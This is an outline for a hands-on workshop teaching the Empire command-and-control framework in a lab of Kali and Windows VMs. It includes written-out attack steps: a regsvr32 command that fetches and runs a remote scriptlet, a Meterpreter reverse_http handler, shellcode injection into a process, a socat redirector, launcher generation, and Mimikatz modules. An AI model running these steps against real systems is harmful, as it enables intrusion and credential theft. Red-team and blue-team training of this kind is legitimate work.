Weapons Training for the Empire

Course Outline

Introduction

The objectives of this workshop are to give the student a better understanding of the Command and Control tool Empire. To achieve this objective, the instruction will provide an overview of the tool, its functions, and its uses. At the completion of this workshop the student should be familiar with how to setup and use Empire as a Command and Control (C2) tool in a variety of configurations, build payloads for post-compromise persistence, use the built-in modules for attack activities, and extract data from the Empire database for reporting purposes.

Housekeeping: Lab Environment

At minimum, we suggest two virtual machines:

1. **Kali Linux VM** – This will be the main attack and C2 platform. Other Linux distributions may work, but to avoid inconsistencies and dependency issues, we will support Kali Linux.
2. **Windows 7 VM** (or Windows 10) – Main target for attack demonstrations. A default install is fine. For extra insight, PowerShell v5 with script block logging can be enabled to demonstrate defender capabilities and further analysis on Empire activities. For the unmanaged PowerShell advanced lab, Visual Studio with the ability to compile C# code will be necessary
3. **Additional Linux VM** – Optional. In advanced portions of the workshops we will discuss redirectors and staging hosts. Having a second Linux-based VM will allow for those scenarios
4. **Other Windows VM** - Optional, for pivoting simulation

We recommend the lab environment be in a single host network with all virtual machines able to communicate with each other. The Kali Linux VM and the Windows 7 VM must be able to communicate with each other for successful lab outcomes.

Access to Visual Studio on a Windows VM will also be beneficial for advanced lab exercises. The configuration will need to support compiling C#.

Lecture: What is Empire?

Empire is a post-exploitation agent written in PowerShell and later as Python as a proof of concept. It is used to perform actions on a target computer using asynchronous communication over web protocols like HTTP and HTTP/S

Lecture: Who is Empire For?

Empire is primarily built for Red Teams and Penetration Testers. It was designed as a proof of concept to test defensive PowerShell mitigations. As Blue Teams build their defenses and incorporate more “Purple Team” activity into their operations, an understanding of the use and capabilities of Empire could be valuable.

Lecture: Why Empire?

- Meterpreter may be getting blocked
- Test PowerShell mitigations

- Test Blue Team efficacy
- Emulate current threats with malleable C2
- PowerShell goodies built-in
    - BloodHound
    - Tater
    - Inveigh
    - PowerUpSQL
    - PowerView
    - Mimikatz
- Modular C2 Channels and exploits
- Python RAT for Linux and Mac OS X
- Script Import to import your own PowerShell

LAB: Install and start Empire in Kali – Guided

In this lab we will install and start Empire in our Kali VM. This will be guided by the instructor with assistance as necessary for the class. As this is foundational to the rest of the workshop, we will attempt to ensure every student has Empire installed and ready before continuing.

1. Lab environment needed: latest version of Kali Linux
2. Apt-get update && apt-get upgrade
3. Git clone https://github.com/EmpireProject/empire to /root directory
4. cd empire/setup
5. ./setup.py
6. ../empire --help
7. Empire startup options
8. Run empire.py
9. Navigate common options in Empire, listeners, launchers
    a. ? – help
    b. Listeners
    c. Agents
    d. creds
    e. Help $command
    f. [tab][tab] completion and CLI completion

Lecture: Infrastructure

- More than just a listening box
    - You can certainly roll with a single box, but what happens if you get discovered? Or your site is blacklisted? Red Team operations? Training blue?
    - Redirectors
- Staging Host
    - Host your stagers here, or on more than one web server
    - Track your GET requests for Phishing engagements (AND Whitelist your client's IP range)
    - Use LetsEncrypt SSL cert to host your staging scripts
- Adversary Emulation
    - Remember to change those headers!

    - Dropbox/OneDrive C2
    - Using LetsEncrypt for your HTTPS C2 Channel
    - To Jittter or not to Jitter, and what does it mean, anyway
    - Domain Fronting with Empire
    - Custom C2 Channels
- Metasploit server / Passing sessions
    - Pass sessions to internal box, or to the cloud
- Infrastructure automation options

LAB: Setup Infrastructure

- Starting HTTP/HTTPS Listeners
    - ./empire –help
    - () listeners
    - () ? [enter] for help
    - () uselistener [tab][tab]
    - () uselistener http
    - () info
    - () set KillDate 08/12/2018
    - () set name http1
    - () set Host {URL/IP/ETC}
    - () set DefaultJitter
    - Customizing listener options
- Start Python simple webserver in /tmp
    - Python -m SimpleHTTPServer 8000 &
    - Echo “hello” > file
    - Curl locahost:8000/file
- Build one more listener on your own

LAB: Get Shellz

- After starting your listener(s) run “launcher powershell” and copy/paste the output into a command window in Windows OR copy the content to a .ps1 and to your /var/www directory. Browse that file from Windows

Lecture: Resource Files

Using resource files to automate actions on Empire startup and Agent check-in can greatly add to operator efficiency

LAB: Resource Files

- Generate a resource file to start listeners on Empire start – EmpireStartup.rc
    - listeners
    - uselistener http
    - set Name http80
    - execute
    - listeners
    - usestager multi/launcher

    - set Listener http80
    - set OutFile /root/Empire_http80.ps1
    - execute
- ./empire -r EmpireStartup.rc
- Generate a resource file to run “ps” and “shell net localgroup Administrators” on agent check-in – Run.rc
    - Sysinfo
    - Ps
    - Shell net localgroup administrators
- In Empire
    - Agents
    - Autorun /root/run.rc
    - Interact [AgentID]
    - Spawn http
    - Agents
    - Interact with new AgentID
    - Take note of PS output and SysInfo
- Build your own Startup Resource file and start two listeners

LAB Advanced: Staging Host / Redirector

- Configure socat redirector (can also use Apache modproxy)
    - socat TCP-LISTEN:80,fork TCP:202.54.1.5:80
- Configure simple http web server for staging payloads

Lecture: Stagers / Launchers / Agents

- Overview of what’s available
- Launching from EXE using PowerPick
- Ducky .sct and regsvr32
- DLL Injection

LAB: Generating Launchers

- Usestager multi/launcher (And obfuscated)
    - Apt-get install libcurl3
    - Apt-get install PowerShell
- Windows/launcher_sct
- Windows/csharp_exe
- Windows/dll
- HTA

LAB: Pwnage

- Starting Metasploit Listener
    - Pass session from Empire to Metasploit
        - Start Metasploit handler in Empire
            - Listeners
            - Uselistener meterpreter

                - Set Host http://[IP]
                - Set name meterpreter
                - Set Port 8181
            - Start Metasploit meterpreter
                - > use exploit/multi/handler
                - > set payload windows/meterpreter/reverse_http
                - > set exitonsession false
                - > run -j -z
            - In Empire
                - Main
                - Agents
                - Interact [AgentID]
                - Ps – find a x86 process ID
                - Injectshellcode meterpreter PID
                - Info
                - Run
            - In Metasploit
                - Sessions
                - Session -I [SessionNumber]
                - Ps
        - Pass session from Metasploit to Empire
            - In Metasploit session
                - Regsvr32 /s /n /u /i:http://[IP]:[PORT] scrobj.dll
- Modules in Empire
    - Getsystem
    - Mimikatz
    - Spawn (one is none)
    - Shell
    - Sysinfo
    - Psinject

LAB: Advanced – Unmanaged PowerShell

- Required: Visual Studio
- Unmanaged PowerShell

Reporting

- SQL Statements to extract historical record
    - What commands were run, when, and where
- Record commands in results or agent log (enhancement)
- API requests to get reporting data
- Record timestamps in results table
- Get list of modules in CSV format via JSON query, ie. List of opsec safe
- Web interface

LAB: Reporting

- Export engagement data
- Start Empire with API
- Sample API code demo to control empire